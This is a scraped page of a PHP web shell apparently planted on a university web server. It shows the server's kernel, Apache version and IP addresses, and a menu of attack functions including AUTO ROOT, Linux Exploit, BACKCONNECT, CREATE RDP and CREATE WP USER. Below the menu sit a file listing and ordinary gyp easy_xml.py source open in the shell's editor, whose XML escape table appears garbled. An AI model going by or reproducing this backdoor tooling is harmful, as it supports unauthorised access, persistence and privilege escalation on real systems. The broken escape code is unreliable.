Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.117.232.108
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
dist-packages /
gyp /
[ HOME SHELL ]
Name
Size
Permission
Action
generator
[ DIR ]
drwxr-xr-x
MSVSNew.py
11.84
KB
-rw-r--r--
MSVSNew.pyc
9.11
KB
-rw-r--r--
MSVSProject.py
6.24
KB
-rw-r--r--
MSVSProject.pyc
6.88
KB
-rw-r--r--
MSVSSettings.py
44.04
KB
-rw-r--r--
MSVSSettings.pyc
34.17
KB
-rw-r--r--
MSVSSettings_test.py
64.39
KB
-rw-r--r--
MSVSSettings_test.pyc
31.01
KB
-rw-r--r--
MSVSToolFile.py
1.76
KB
-rw-r--r--
MSVSToolFile.pyc
2.12
KB
-rw-r--r--
MSVSUserFile.py
4.97
KB
-rw-r--r--
MSVSUserFile.pyc
4.68
KB
-rw-r--r--
MSVSUtil.py
9.35
KB
-rw-r--r--
MSVSUtil.pyc
7.35
KB
-rw-r--r--
MSVSVersion.py
18.68
KB
-rw-r--r--
MSVSVersion.pyc
14.82
KB
-rw-r--r--
__init__.py
21.66
KB
-rw-r--r--
__init__.pyc
15.43
KB
-rw-r--r--
common.py
19.97
KB
-rw-r--r--
common.pyc
17.37
KB
-rw-r--r--
common_test.py
1.92
KB
-rw-r--r--
common_test.pyc
3.25
KB
-rw-r--r--
easy_xml.py
4.89
KB
-rw-r--r--
easy_xml.pyc
5.01
KB
-rw-r--r--
easy_xml_test.py
3.19
KB
-rw-r--r--
easy_xml_test.pyc
3.7
KB
-rw-r--r--
flock_tool.py
1.71
KB
-rw-r--r--
flock_tool.pyc
2.2
KB
-rw-r--r--
input.py
113.53
KB
-rw-r--r--
input.pyc
60.53
KB
-rw-r--r--
input_test.py
3.13
KB
-rw-r--r--
input_test.pyc
3.73
KB
-rw-r--r--
mac_tool.py
26.42
KB
-rw-r--r--
mac_tool.pyc
24.78
KB
-rw-r--r--
msvs_emulation.py
47.36
KB
-rw-r--r--
msvs_emulation.pyc
45.31
KB
-rw-r--r--
ninja_syntax.py
5.41
KB
-rw-r--r--
ninja_syntax.pyc
5.92
KB
-rw-r--r--
ordered_dict.py
10.12
KB
-rw-r--r--
ordered_dict.pyc
9.37
KB
-rw-r--r--
simple_copy.py
1.22
KB
-rw-r--r--
simple_copy.pyc
1.95
KB
-rw-r--r--
win_tool.py
12.97
KB
-rw-r--r--
win_tool.pyc
11.71
KB
-rw-r--r--
xcode_emulation.py
71.64
KB
-rw-r--r--
xcode_emulation.pyc
63.64
KB
-rw-r--r--
xcode_ninja.py
11.05
KB
-rw-r--r--
xcode_ninja.pyc
7.73
KB
-rw-r--r--
xcodeproj_file.py
122.01
KB
-rw-r--r--
xcodeproj_file.pyc
88.21
KB
-rw-r--r--
xml_fix.py
2.12
KB
-rw-r--r--
xml_fix.pyc
2.6
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : easy_xml.py
# Copyright (c) 2011 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import re import os import locale def XmlToString(content, encoding='utf-8', pretty=False): """ Writes the XML content to disk, touching the file only if it has changed. Visual Studio files have a lot of pre-defined structures. This function makes it easy to represent these structures as Python data structures, instead of having to create a lot of function calls. Each XML element of the content is represented as a list composed of: 1. The name of the element, a string, 2. The attributes of the element, a dictionary (optional), and 3+. The content of the element, if any. Strings are simple text nodes and lists are child elements. Example 1: <test/> becomes ['test'] Example 2: <myelement a='value1' b='value2'> <childtype>This is</childtype> <childtype>it!</childtype> </myelement> becomes ['myelement', {'a':'value1', 'b':'value2'}, ['childtype', 'This is'], ['childtype', 'it!'], ] Args: content: The structured content to be converted. encoding: The encoding to report on the first XML line. pretty: True if we want pretty printing with indents and new lines. Returns: The XML content as a string. """ # We create a huge list of all the elements of the file. xml_parts = ['<?xml version="1.0" encoding="%s"?>' % encoding] if pretty: xml_parts.append('\n') _ConstructContentList(xml_parts, content, pretty) # Convert it to a string return ''.join(xml_parts) def _ConstructContentList(xml_parts, specification, pretty, level=0): """ Appends the XML parts corresponding to the specification. Args: xml_parts: A list of XML parts to be appended to. specification: The specification of the element. See EasyXml docs. pretty: True if we want pretty printing with indents and new lines. level: Indentation level. """ # The first item in a specification is the name of the element. if pretty: indentation = ' ' * level new_line = '\n' else: indentation = '' new_line = '' name = specification[0] if not isinstance(name, str): raise Exception('The first item of an EasyXml specification should be ' 'a string. Specification was ' + str(specification)) xml_parts.append(indentation + '<' + name) # Optionally in second position is a dictionary of the attributes. rest = specification[1:] if rest and isinstance(rest[0], dict): for at, val in sorted(rest[0].iteritems()): xml_parts.append(' %s="%s"' % (at, _XmlEscape(val, attr=True))) rest = rest[1:] if rest: xml_parts.append('>') all_strings = reduce(lambda x, y: x and isinstance(y, str), rest, True) multi_line = not all_strings if multi_line and new_line: xml_parts.append(new_line) for child_spec in rest: # If it's a string, append a text node. # Otherwise recurse over that child definition if isinstance(child_spec, str): xml_parts.append(_XmlEscape(child_spec)) else: _ConstructContentList(xml_parts, child_spec, pretty, level + 1) if multi_line and indentation: xml_parts.append(indentation) xml_parts.append('</%s>%s' % (name, new_line)) else: xml_parts.append('/>%s' % new_line) def WriteXmlIfChanged(content, path, encoding='utf-8', pretty=False, win32=False): """ Writes the XML content to disk, touching the file only if it has changed. Args: content: The structured content to be written. path: Location of the file. encoding: The encoding to report on the first line of the XML file. pretty: True if we want pretty printing with indents and new lines. """ xml_string = XmlToString(content, encoding, pretty) if win32 and os.linesep != '\r\n': xml_string = xml_string.replace('\n', '\r\n') default_encoding = locale.getdefaultlocale()[1] if default_encoding and default_encoding.upper() != encoding.upper(): xml_string = xml_string.decode(default_encoding).encode(encoding) # Get the old content try: f = open(path, 'r') existing = f.read() f.close() except: existing = None # It has changed, write it if existing != xml_string: f = open(path, 'w') f.write(xml_string) f.close() _xml_escape_map = { '"': '"', "'": ''', '<': '<', '>': '>', '&': '&', '\n': '
', '\r': '
', } _xml_escape_re = re.compile( "(%s)" % "|".join(map(re.escape, _xml_escape_map.keys()))) def _XmlEscape(value, attr=False): """ Escape a string for inclusion in XML.""" def replace(match): m = match.string[match.start() : match.end()] # don't replace single quotes in attrs if attr and m == "'": return m return _xml_escape_map[m] return _xml_escape_re.sub(replace, value)
Close